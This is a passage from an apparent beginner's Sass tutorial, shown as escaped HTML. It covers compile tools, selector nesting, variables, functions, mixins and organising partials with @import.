    &lt;p style=&quot;margin: 0px 0px 1.46em; padding: 0px;&quot;&gt;This magical tool does a whole array of cool things, one of which is compiling Sass. LiveReload monitors changes in the file system. As soon as you save a file, it is preprocessed as needed, and the browser is refreshed. This is a great speedy kick to your web dev workflow. Currently available for $10 for Mac. There is an alpha version is available for Windows XP and up which is currently free.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;
    &lt;h4 style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); font-size: 1em; font-weight: bold;&quot;&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://incident57.com/codekit/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;CodeKit&lt;/font&gt;&lt;/a&gt;&lt;/h4&gt;
    &lt;p style=&quot;margin: 0px 0px 1.46em; padding: 0px;&quot;&gt;This is very similar to LiveReload but with a few more features&amp;mdash;including script minification, image compression and code hinting. This is the software I&amp;rsquo;ve opted for and love dearly. It&amp;rsquo;s Mac only and available for $25. I recommend you download a trial&amp;mdash;you&amp;rsquo;ll&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;Add To Cart&lt;/em&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;before you know it.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;
    &lt;h4 style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); font-size: 1em; font-weight: bold;&quot;&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://mixture.io/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;Mixture&lt;/font&gt;&lt;/a&gt;&lt;/h4&gt;
    &lt;p style=&quot;margin: 0px 0px 1.46em; padding: 0px;&quot;&gt;This is an up and coming tool that looks to have all the bells and whistles. It&amp;rsquo;s multi-platform and does a lot of very interesting stuff including boilerplating, image optimisation, one click publishing and many others. It looks to be in private beta at the moment but you can sign up to be notified when it&amp;rsquo;s good to go.&lt;/p&gt;
    &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Let&amp;rsquo;s Start Coding, Already!&lt;/h2&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Nesting&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;This is probably the most fun but also the most dangerous part of Sass. Let&amp;rsquo;s consider the following two examples.&lt;/p&gt;
&lt;h4 style=&quot;font: bold 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Example 1 &amp;mdash; Good nesting&lt;/h4&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;#navbar {   width: 80%;   height: 23px;   ul { list-style-type: none; }   li {     float: left;     a { font-weight: bold; }   } }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 style=&quot;font: bold 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Example 2 &amp;mdash; Bad nesting&lt;/h4&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;div#main {   #sidebar {     #navbar {       width: 80%;       height: 23px;       aside {         div {           ul {             list-style-type: none;             li {               float: left;               a {                 font-weight: bold;               }             }           }         }       }     }   } }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The reason Example 2 is bad is because the resulting CSS will have far too specific selectors.&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;div#main #sidebar #navbar {} div#main #sidebar #navbar aside div ul {} div#main #sidebar #navbar aside div ul li {} div#main #sidebar #navbar aside div ul li a {}&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Let&amp;rsquo;s all agree that&amp;rsquo;s a nightmare.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;One of the guiding principles of modern CSS should be the principle of modular code&amp;mdash;that is to say, bits of code that you can reuse without having to rely on the structure of your markup. For more information on this idea, look into&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://www.sitepoint.com/first-look-object-oriented-css/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;OOCSS&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;and&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://www.sitepoint.com/snack-on-snooks-smacss/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;SMACSS&lt;/font&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;There&amp;rsquo;s a de facto rule called&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://thesassway.com/beginner/the-inception-rule&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;The Inception Rule&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;that simply states you should never nest more than four selectors deep.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Variables&lt;/h3&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;$site_max_width: 960px; $font_color: $333; $link_color: $00c; $font_family: Arial, sans-serif; $font_size: 16px; $line_height: percentage(20px / $font_size); body {   color: $font_color;   font {     size: $font_size;     family: $font_family;   }   line-height: $line_height; } #main {   width: 100%;   max-width: $site_max_width; }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;We&amp;rsquo;re all familiar with variables and use them in our JavaScript, etc. This is the exact same idea, but with CSS. Now, when a client asks you change that blue to a slightly more greeny-blue (with more pop), you can simply go to your variables and update that one instance. You can also use built-in Sass functions and operators as well as reference other variables in the declarations.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Functions and Operators&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Like any programming language, Sass comes with a suite of functions and standard operators. There are many fnctions that will help you deal with number, text and colours. And all numbers (including those with units) have all the math operators you&amp;rsquo;ll ever need:&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;+&lt;/code&gt;,&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;-&lt;/code&gt;,&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;*&lt;/code&gt;,&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;/&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;and&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;%&lt;/code&gt;.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Have a&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;look at the documentation&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;to see the list of goodness available.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Mixins&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Mixins are one of the most powerful parts of Sass and really allow you to get creative. A mixin is a collection of of re-usable styles, properties and selectors. You could think of a mixin as a macro or snippet for regular re-use.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;A good example of a mixin is one to handle those annoying vendor prefixes:&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;@mixin box-shadow($shadow) {   -webkit-box-shadow: $shadow;      -moz-box-shadow: $shadow;           box-shadow: $shadow; }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Or for hiding text (often used with image replacement techniques):&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;@mixin hide-text {   font: 0/0 a;   color: transparent;   text-shadow: none;   background-color: transparent;   border: 0; }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Needless to say, you&amp;rsquo;ll be spending a lot of time coming up with your own personal arsenal of mixins to use on all your projects.&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Your First Sass Project&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The beauty of using Sass is that you can make as many small&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;files as you see fit because they will all be combined into one master .css file during the preprocessing stage. Consider the following style&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;file:&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;@import &amp;quot;global/mixins&amp;quot;; @import &amp;quot;global/variables&amp;quot;; @import &amp;quot;global/normalize&amp;quot;; @import &amp;quot;content/links&amp;quot;; @import &amp;quot;content/lists&amp;quot;; @import &amp;quot;content/mediaObjects&amp;quot;; @import &amp;quot;content/panels&amp;quot;; @import &amp;quot;content/spacingOverrides&amp;quot;; @import &amp;quot;content/typography&amp;quot;; @import &amp;quot;content/textUtilities&amp;quot;; @import &amp;quot;layout/border&amp;quot;; @import &amp;quot;layout/grid&amp;quot;; @import &amp;quot;layout/scaffolding&amp;quot;; @import &amp;quot;navigation/breadcrumbs&amp;quot;; @import &amp;quot;navigation/master&amp;quot;; @import &amp;quot;navigation/leftnav&amp;quot;; @import &amp;quot;navigation/topnav&amp;quot;; @import &amp;quot;navigation/pagination&amp;quot;; @import &amp;quot;navigation/tabs&amp;quot;; @import &amp;quot;navigation/footer&amp;quot;; @import &amp;quot;forms/buttons&amp;quot;; @import &amp;quot;forms/forms&amp;quot;; @import &amp;quot;tables/tables&amp;quot;; @import &amp;quot;tables/forum&amp;quot;;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Each of those&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;@import&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;statements includes a new&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;file. When naming these component&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;files, make sure you use an underscore (&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;_&lt;/code&gt;) character at the start of the file name. Example:&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;_variables.scss&lt;/code&gt;,&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;_normalize.scss&lt;/code&gt;. The Sass compiler will interpret these files as snippets and won&amp;rsquo;t actually preprocess them individually. Only the files you want the preprocessor to compile should be named without an underscore, e.g.&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;style.scss&lt;/code&gt;,&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;special-page-override.scss.&lt;/code&gt;&lt;/p&gt;
